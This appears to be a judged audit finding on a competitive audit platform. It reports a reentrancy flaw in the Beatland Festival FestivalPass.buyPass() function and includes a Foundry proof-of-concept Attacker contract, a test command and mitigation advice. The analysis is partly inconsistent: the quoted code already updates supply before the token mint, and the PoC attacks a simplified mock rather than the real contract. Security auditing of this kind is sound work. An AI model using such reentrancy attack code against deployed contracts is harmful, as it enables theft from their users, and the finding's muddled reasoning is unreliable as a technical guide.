Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy risk in the `buyPass()` function of `FestivalPass`.

Root + Impact

Description

The buyPass() function of FestivalPass.sol allows users buy NFT passes, and also receive BEAT tokens as bonuses based on the tier they purchase.
The buyPass() function calls an external _mint() function before updating the state ++passSupply[...].

During execution, it calls the external mint function of the BEAT token contract to mint bonus tokens to the user. The implementation of a malicious token could trigger a reentrancy attack which could be used to expliot it by calling buyPass to mint multiple passes before the first call finishes execution.

function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];// State is updated before external call
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
@> BeatToken(beatToken).mint(msg.sender, bonus); //external call after state changes
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • This happens when a malicious address makes use of the mint() function to call buyPass again while the first call is still running.

  • This happens due to the lack of a nonReentrant modifier and performs an external call after state changes

Impact:

  • This allows a malicious actor to bypass passMaxSupply checks and mint multiple passes per transaction.

  • This can break the contract’s logic and potentially allow an attacker to drain it or keep minting free tokens


Proof of Concept


Using Foundry to test the exploit, the first step is to create a new file test/ReentrancyPoc.t.sol.

Add the following to the contract.

pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract FestivalPass {
uint public supply;
uint public constant PRICE = 1 ether;
address public token;
function buyPass() external payable {
require(msg.value == PRICE, "Wrong amount");
require(supply < 10, "Sold out");
_mint(); // Mint before updating supply
supply++; // Vulnerability: update comes after minting
// Reentrant external call
(bool success,) = token.call(abi.encodeWithSignature("callback()"));
require(success, "Callback failed");
}
function _mint() private {
// Simulate pass minting
}
function setToken(address _token) external {
token = _token;
}
}
contract Attacker {
FestivalPass public pass;
uint public reentrancyCount;
constructor(address _pass) {
pass = FestivalPass(_pass);
}
function attack() external payable {
pass.buyPass{value: 1 ether}();
}
function callback() external payable {
if (reentrancyCount < 2) {
reentrancyCount++;
pass.buyPass{value: 1 ether}();
}
}
}
contract ReentrancyTest is Test {
function testExploit() public {
FestivalPass pass = new FestivalPass();
Attacker attacker = new Attacker(address(pass));
pass.setToken(address(attacker));
vm.deal(address(attacker), 3 ether);
attacker.attack{value: 1 ether}();
console.log("Total passes minted:", pass.supply());
assertEq(pass.supply(), 3, "Should have 3 passes from reentrancy");
assertEq(attacker.reentrancyCount(), 2, "Should have reentered twice");
}
}

Run the following command to run the test

forge test -vv --match-test testExploit

How the Exploit works

The Attacker calls the attack() function with 1 ETH.
the buyPass() mints a pass but doesn’t update the supply yet.

  • Before supply++, the contract calls callback().

  • The attacker re-enters buyPass() two more times.

  • Each call mints another pass before supply is updated.



Recommended Mitigation

Use the Checks-Effects-Interactions Pattern

Update Supply Before External Calls

function buyPass() external payable {
require(msg.value == PRICE, "Wrong amount");
require(supply < 10, "Sold out");
supply++; // Update supply FIRST
_mint(); // Then mint
(bool success,) = token.call(abi.encodeWithSignature("callback()"));
require(success);
}

Make use of OpenZeppelin’s ReentrancyGuard

Use OpenZeppelin’s ReentrancyGuard to prevent multiple buyPass()

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FestivalPass is ReentrancyGuard {
function buyPass(uint collectionId) external payable nonReentrant {
...
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 27 days ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPass reentrancy to surpass the passMaxSupply

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.